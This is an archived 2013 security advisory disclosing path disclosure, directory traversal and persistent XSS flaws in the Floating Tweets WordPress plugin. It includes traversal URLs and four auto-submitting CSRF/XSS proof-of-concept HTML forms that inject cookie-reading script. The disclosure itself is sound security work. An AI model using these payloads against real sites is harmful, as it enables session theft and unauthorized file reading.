Multiple vulnerabilities in Floating Tweets for WordPress

2013-01-14T00:00:00
ID SECURITYVULNS:DOC:28950
Type securityvulns
Reporter Securityvulns
Modified 2013-01-14T00:00:00

Description

Hello 3APA3A!

I want to warn you about multiple vulnerabilities in plugin Floating Tweets for WordPress.

These are Full path disclosure, Directory Traversal and Cross-Site Scripting vulnerabilities.


Affected products:

Vulnerable are Floating Tweets 1.0.1 and previous versions.


Details:

Full path disclosure (WASC-13):

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets.php

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets_widget.php

http://site/wp-content/plugins/floating-tweets/skin.php?skin=1

Directory Traversal (Windows) (WASC-33):

http://site/wp-content/plugins/floating-tweets/skin.php?widget_id=2&skin=1\1

DT allows to read only css-files (in folder /skins/ and subfolders). At turned off mq it's possible to use Null Byte Injection, which allows via DT to read arbitrary files.

XSS (persistent XSS) (WASC-08):

Three persistent XSS holes. For attack it's needed to bypass protection against CSRF (parameter savewidgets). E.g. using reflected XSS.

Floating Tweets XSS.html

<body onLoad="document.hack.submit()"> <form name="hack" action="http://site/wp-admin/admin-ajax.php" method="post"> <input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][twitterUrl]" value='" style="xss:expression(alert(document.cookie))'> <input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3"> <input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget"> <input type="hidden" name="action" value="save-widget"> <input type="hidden" name="savewidgets" value="e8af3131f4"> <input type="hidden" name="sidebar" value="primary-widget-area"> </form> </body>

Floating Tweets XSS-2.html

<body onLoad="document.hack.submit()"> <form name="hack" action="http://site/wp-admin/admin-ajax.php" method="post"> <input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][linkText]" value='" style="xss:expression(alert(document.cookie))'> <input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3"> <input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget"> <input type="hidden" name="action" value="save-widget"> <input type="hidden" name="savewidgets" value="e8af3131f4"> <input type="hidden" name="sidebar" value="primary-widget-area"> </form> </body>

Floating Tweets XSS-3.html

<body onLoad="document.hack.submit()"> <form name="hack" action="http://site/wp-admin/admin-ajax.php" method="post"> <input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]" value='" style="xss:expression(alert(document.cookie))'> <input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3"> <input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget"> <input type="hidden" name="action" value="save-widget"> <input type="hidden" name="savewidgets" value="e8af3131f4"> <input type="hidden" name="sidebar" value="primary-widget-area"> </form> </body>

Examples of attack for these three XSS on IE7 and previous versions. With using of MouseOverJacking it's possible to attack any browsers. The code will execute right away at sending request and further at visiting http://site/wp-admin/widgets.php.

Floating Tweets XSS-4.html

<body onLoad="document.hack.submit()"> <form name="hack" action="http://site/wp-admin/admin-ajax.php" method="post"> <input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]" value="'});alert(document.cookie);a({b:'"> <input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3"> <input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget"> <input type="hidden" name="action" value="save-widget"> <input type="hidden" name="savewidgets" value="e8af3131f4"> <input type="hidden" name="sidebar" value="primary-widget-area"> </form> </body>

Example of attack on any browsers. The code will execute at main page and at any external pages of the site.


Timeline:

2012.08.30 - announced at my site. 2012.08.31 - informed developer. 2013.01.11 - disclosed at my site (http://websecurity.com.ua/6023/).

Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua